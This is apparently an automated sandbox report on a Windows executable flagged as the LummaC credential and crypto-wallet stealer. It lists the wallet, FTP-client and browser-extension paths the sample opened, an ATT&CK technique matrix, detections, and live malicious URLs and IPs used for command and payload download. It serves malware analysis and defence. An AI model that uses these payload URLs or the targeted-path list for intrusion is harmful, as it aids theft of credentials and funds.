Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2263284741.000000000102F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2250527169.000000000102F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2266079223.0000000001037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2265996831.0000000001032000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2250810319.0000000001030000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2251188449.000000000102F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2263461215.0000000001030000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2225744563.000000000102F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2265819903.0000000001030000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4164, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	741 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	34 Virtualization/Sandbox Evasion	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	34%	ReversingLabs
file.exe	39%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/lg	100%	Avira URL Cloud	malware
https://cook-rain.sbs/eg	100%	Avira URL Cloud	malware
https://cook-rain.sbs/)))	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	172.217.16.196	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_129.5.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/lg	file.exe, 00000000.00000003.2263284741.000000000102F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_129.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_129.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_121.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_129.5.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_129.5.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_129.5.dr, chromecache_93.5.dr, chromecache_130.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://github.com/gewarren	chromecache_129.5.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.2476098700.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://cook-rain.sbs/eg	file.exe, 00000000.00000003.2250527169.000000000102F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250810319.0000000001030000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2251188449.000000000102F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_129.5.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_129.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_129.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/certhelp	chromecache_110.5.dr, chromecache_121.5.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.2476355405.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2372349558.0000000001024000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.2266159158.0000000001045000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_129.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_121.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_129.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_129.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_129.5.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_110.5.dr, chromecache_121.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2476355405.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2372349558.0000000001024000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_129.5.dr	false		high
https://channel9.msdn.com/	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/)))	file.exe, 00000000.00000003.2237912950.000000000104E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237813235.000000000104E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/try	chromecache_110.5.dr, chromecache_121.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558970
Start date and time:	2024-11-20 01:17:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@9/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.31.73, 20.190.159.68, 40.126.31.67, 20.190.159.64, 20.190.159.23, 40.126.31.71, 40.126.31.69, 20.190.159.2, 192.229.221.95, 93.184.221.240, 216.58.206.67, 184.28.89.167, 216.58.206.46, 64.233.184.84, 95.101.150.2, 34.104.35.123, 13.69.109.131, 216.58.212.170, 172.217.18.10, 142.250.186.170, 142.250.184.202, 142.250.186.106, 142.250.184.234, 142.250.185.106, 216.58.212.138, 142.250.185.202, 142.250.185.138, 172.217.23.106, 142.250.185.170, 172.217.16.202, 142.250.74.202, 216.58.206.74, 142.250.185.74, 2.19.126.137, 2.19.126.132, 13.74.129.1, 204.79.197.237, 13.107.21.237, 20.189.173.1, 172.217.16.195, 142.250.186.110
Excluded domains from analysis (whitelisted): onedscolprdwus00.westus.cloudapp.azure.com, slscr.update.microsoft.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, clients2.google.com, ocsp.digicert.com, login.live.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, fs.microsoft.com, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, learn.microsoft.com.edgekey.net.globalredir.akadns.net, onedscolprdweu03.westeurope.cloudapp.azure.com, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, wu.azureedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, a1883.dscd.akamai.net, ocsp.edge.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, clients1.google.com, client.wns.windows.com, prdv4a.aadg.msidentity.com, acco
Execution Graph export aborted for target file.exe, PID 4164 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:18:24	API Interceptor	8x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
13.107.246.44	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
s-part-0016.t-0009.t-msedge.net	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	13.107.246.44
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey	Browse	13.107.246.45
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
